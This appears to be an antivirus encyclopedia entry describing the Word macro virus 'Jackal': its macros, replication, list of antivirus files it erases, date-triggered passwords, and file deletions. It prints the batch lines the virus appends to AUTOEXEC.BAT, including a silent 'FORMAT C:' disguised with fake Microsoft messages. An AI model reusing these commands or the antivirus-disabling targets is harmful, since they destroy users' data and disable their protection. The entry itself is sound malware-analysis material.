Virus.MSWord.Jackal

0 0

This virus contains one module "Jackal" which contains fourteen macros: AutoOpen, FileSaveAs, KillAV, Format, ToolsMacro, ViewVBCode, FileTemplates, Organizer, EditFind, HelpAbout, ToolsCustomize, ToolsOptions, Jackal, Ultras.

The virus replicates itself on opening files or saving with new name. It erases the files belonging to popular anti-virus applications:

C:\Program Files\AntiViral Toolkit Pro\Avp32.exe
C:\Program Files\AntiViral Toolkit Pro\*.avc
C:\Program Files\Command Software\F-PROT95\*.dll
C:\Program Files\Command Software\F-PROT95\*.exe
C:\Program Files\McAfee\VirusScan95\Scan.dat
C:\Program Files\McAfee\VirusScan\Scan.dat
C:\Program Files\Norton AntiVirus\Viruscan.dat
C:\Program Files\Symantec\Symevnt.386
C:\Program Files\FindVirus\Findviru.drv
C:\Program Files\Cheyenne\AntiVirus\*.dll
C:\Program Files\Cheyenne\Common\Cshell.dll
C:\PC-Cillin 95\Lpt$vpn.*
C:\PC-Cillin 95\Scan32.dll
C:\PC-Cillin 97\Lpt$vpn.*
C:\PC-Cillin 97\Scan32.dll
C:\eSafe\Protect\*.dll
C:\f-macro\f-macro.exe
C:\TBAVW95\Tbscan.sig
C:\Tbavw95\Tb*.*
C:\VS95\*.dll

On the 1st of any month it sets the password "JACKAL" in documents. On the 27th of any month it sets the password "ULTRAS". On 5, 9, 17, 25 days and during May it displays the Balloon:

Microsoft Office 97
Error, is necessary will update files

Then it appends to the C:\AUTOEXEC.BAT file the commands that format the disk:

@ECHO OFF
CLS
ECHO Microsoft Corp. 1983-1997 All rights reserved
ECHO Goes preparation to renovation of your system files
ECHO Please wait this can occupy several minutes
FORMAT C: /U /C /S /AUTOTEST > NUL
ECHO.
ECHO.
ECHO.
ECHO Error at renovations of files

On 15th and 30th of any month it deletes the files:

C:\*.*
C:\Windows\*.*
C:\Windows\System\*.*